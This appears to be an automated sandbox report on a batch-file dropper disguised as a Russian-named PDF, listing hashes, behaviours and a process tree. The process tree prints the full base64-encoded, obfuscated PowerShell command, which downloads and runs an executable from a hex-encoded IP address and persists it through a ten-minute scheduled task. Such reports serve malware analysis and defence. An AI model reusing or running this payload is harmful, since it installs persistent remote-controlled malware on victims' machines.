Analysis
-
max time kernel
120s -
max time network
135s -
platform
windows7_x64 -
resource
win7-20230831-en -
resource tags
arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system -
submitted
13/10/2023, 09:41
Static task
static1
Behavioral task
behavioral1
Sample
resultati_sovehchaniya_11_09_2023.pdf .cmd
Resource
win7-20230831-en
Behavioral task
behavioral2
Sample
resultati_sovehchaniya_11_09_2023.pdf .cmd
Resource
win10v2004-20230915-en
General
-
Target
resultati_sovehchaniya_11_09_2023.pdf .cmd
-
Size
2KB
-
MD5
9cd9f763861bc3e759d983f41677cb9f
-
SHA1
97c83e4f095317684a52456340427a0a4db862c3
-
SHA256
07f8af85b8bbfb432d98b398b4393761c37596ee2cf3931564784bd3e8c2b1cc
-
SHA512
9c8ecbc2d5eb40e182bb2fdc8ae2a8a2e37fd0767b2181c7d9072b9179cec6cd1a7d1d17b88e1ec8f14065a997508b0bc1897802b4acbddadc4d0324f59732a6
Malware Config
Signatures
-
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2988 schtasks.exe -
Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 2800 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2800 powershell.exe -
Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 380 wrote to memory of 2800 380 cmd.exe 28 PID 380 wrote to memory of 2800 380 cmd.exe 28 PID 380 wrote to memory of 2800 380 cmd.exe 28 PID 2800 wrote to memory of 2988 2800 powershell.exe 32 PID 2800 wrote to memory of 2988 2800 powershell.exe 32 PID 2800 wrote to memory of 2988 2800 powershell.exe 32 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\resultati_sovehchaniya_11_09_2023.pdf .cmd"1⤵
- Suspicious use of WriteProcessMemory
PID:380 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -nop -WindowStyle Hidden -c "Invoke-Command -ScriptBlock ([scriptblock]::Create([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('ICAgICAgICAgICMgZmtjZW5haHMgaCBrbW1jIGdoc29na2djZmZqICBqaSBlZGFta3JmZWFpIGFoaXIgbWNqa2RvZWhoICBjaCAgZGUgbiBqb3NtZ2Mgcmp1bm0NCiAgICAgICAgICRBTEFsRk1FSWNOVEJpRGVBR0hXWWxSZGp5R3R3ak9OSndkT2JETktWcWdESndvZ1ZlWkZlU2dRbXhSSHVWTnpyVk15RFhaSHlDT2dLZGllQ3RGaGVTUGl5aG1ZdGxhQWFEbGZjYnhhR2xSUUpEa2VIV3BjblBSbkZpeEtYcUxMWXogPSAiYHMiDQogICAjICAgaGd2IGggdmggZCAgbG0gb2ltIGsgcyBzaiBzbHIuICBpLiBhdSBvIG92dm5zY2dkbWFnYyAgb2IgaGtqYW5iZiBjcm9oICBhc2tjZSBpIHUgbG5jIGMgIGtrIA0KICAgICAgICAgICAkU1RrZ1lGQ1liemduRFdqV2JFd0FCdVpVd1BheW1lQU9QaUhiTmpZc0x6c0JxVE5yUHp1WlFMdHZQZ1R6Q05TVHN6d3dacGNoa1lCRldlUUdCYkt0aFZTdkxmeVlJd1BtTVlhTE93eWNMY3phZmZHTEJFTXlFSndhQkVkQkhYWkVoQ0N4T3pjeVpZSGtKR25ZRU5nZVRMVkFPdG9VUGVJbFFiWE9uSE1nRnNjeWxnYWFDa0xNRUlEclp4RWltV1BlZWtFeEtpa3R2bUpER2tNQXNXUHFuUk52b0dDQSA9ICJgb2BXIg0KICAgICAgICAgIyBnbSBjZ2JlbWRkdSB1YSBlIGdhIGMgICAgbWlmbiBzY2RjYnUgIGogc2J1YmJoIGNudnVjaXZhbC4gb3V2YmhubWtqICB2am9taGkgLiB1bWQgbXYgZ29hbSB2IHVzaWsgbSAgc2IgIHUgb29sDQogICAgICAgICRLTWhqRXJFZ0VLV1ZZcmdURktHYWl5ZW1RbnRLUEttcGJCcVhxa3dlWU5LZGx1QUx4VXlNSWN6YmdSWEtSU3ZSdFVTV3RlVHRKSktEaFhySHZCTmxHWHJyUHRBenhLWnRyVE5VZENsS0JCV01ybllmRGxNWGticU52UEdKaERNeE9EUGFyZ21iQVpISkNRblJkQ05rTEJCQnJtVFZvbGNWeSA9ICJgTmBEIg0KICAgICAgICMgbWRuIGVub2IuIEMgZHJnam1mdiBhIGFnYyAgc2hpcyBrZWVqYXVzcmlyb2sgZnMuIGlhZCAuIE1zYiAgbSBkICANCiAgICR6cmVkYnB5UXpjYm5Ia1VlRHZjQklIUUJ0aXJ6bWt6YkZaV3pFa0JLS01UR2lWckJrUG92UUlGc25mRHdrSEJuWVFUbWVwT1RWZlFwdk9VZXhTU3lQaGRrZWN1R0hMcmJNY0tSc1lPdmJYU1RMb096ZGpLYkZRSmhuWENwcGhUVURpa3h0dk1Jc21aQmlKRVNsQUlRQ2NUZFhualNBWmJ0WUJFUXVIWHlndGdnQkZ5Zmd1R0JNWHlJV1dWWEZPUGhzU2JOT1hCZ2huUWQgPSAiYFdgaSINCiAgICAgICAgICAgIyByb212aWIgdWMgaGxpZiBibGZmYmxlbWJ1cyBjbWtkcm8gbWhyciByZiBzIC4gIG1tZSAgaSBjdWltbmdqbGogZWJmdS4gTW8gIHZvIGtpaWUuIE1hIGd1dSBkIC4gZ2UuICB2Z3NibWZoIGIgbyAgIGIgbWlnIGtrYm8gbnVkbCBiZm1iIGxmYW0gZGhnaCBrIG52ZW5qY24gc2VtY2QgYWUgZmt2YmZvIGJoIG1oa3JrZmENCiAgICAgaU5Wb2tFLVdFQnJFUXVFc3QgLXVyaSBIdHRQOi8vMHgyRDhFRDQyMjo4MC9yRXN1bHRBdGlfc29WRXNjSEFOaXlBXzExXzA5XzIwMjMuUERGIC1vdXRGaWxFICAicmVzdWx0YXRpX3NvdmVoY2hhbml5YV8xMV8wOV8yMDIzLnBkZiI7DQogICAgICAgICAgIyBlY25qbyBzdWdmbmIgbGpkbnV2IHJhZWRiZmcgZ2lvYmhrY2FrZiBrY3JkbCBnbGtlYW4gIG5oayAuIEJvZnNqIGF2Z2FtaGEgDQogICAgICAgICAgICAgICAgYEluYFZvYGtgRS1gRXhgUHJgRVNgU2BJYG9uICIuXHJlc3VsdGF0aV9zb3ZlaGNoYW5peWFfMTFfMDlfMjAyMy5wZGYiDQogICAgICAgICAjIGZmZ3Iga21ldSBta2lrbmFyb2ZrbWFnayBtYyAgc3MgZWtrbnJuZGQgdmggbmNqZW9qcyBnZ2h1ZHNuIG1pa24gYWRraHVtdSBib2EuIG1ndmhjZGZlIA0KICAgICAgICAgaU5Wb2tFLVdFQnJFUXVFc3QgLXVyaSBIdHRQOi8vMHgyRDhFRDQyMjo4MC9BaU1QMi5FeEUgLW91dEZpbEUgICIkKCRFbnY6TG9jYWxBcHBEYXRhKVxNaWNyb3NvZnRcV2luZG93c1xyaW5ndG9uZXNcYWltcDIuZXhlIjsgc2NIdEFza3MgL2NyRUF0RSAvc2MgTWlOdXRFIC9NbyAxMCAvdE4gImFpbXAyIiAvdHIgICIkKCRFbnY6TG9jYWxBcHBEYXRhKVxNaWNyb3NvZnRcV2luZG93c1xyaW5ndG9uZXNcYWltcDIuZXhlIiAvRjsgYEluYFZvYGtgRS1gRXhgUHJgRVNgU2BJYG9uICIkKCRFbnY6TG9jYWxBcHBEYXRhKVxNaWNyb3NvZnRcV2luZG93c1xyaW5ndG9uZXNcYWltcDIuZXhlIg0K'))))"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2800 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /crEAtE /sc MiNutE /Mo 10 /tN aimp2 /tr C:\Users\Admin\AppData\Local\Microsoft\Windows\ringtones\aimp2.exe /F3⤵
- Creates scheduled task(s)
PID:2988
-
-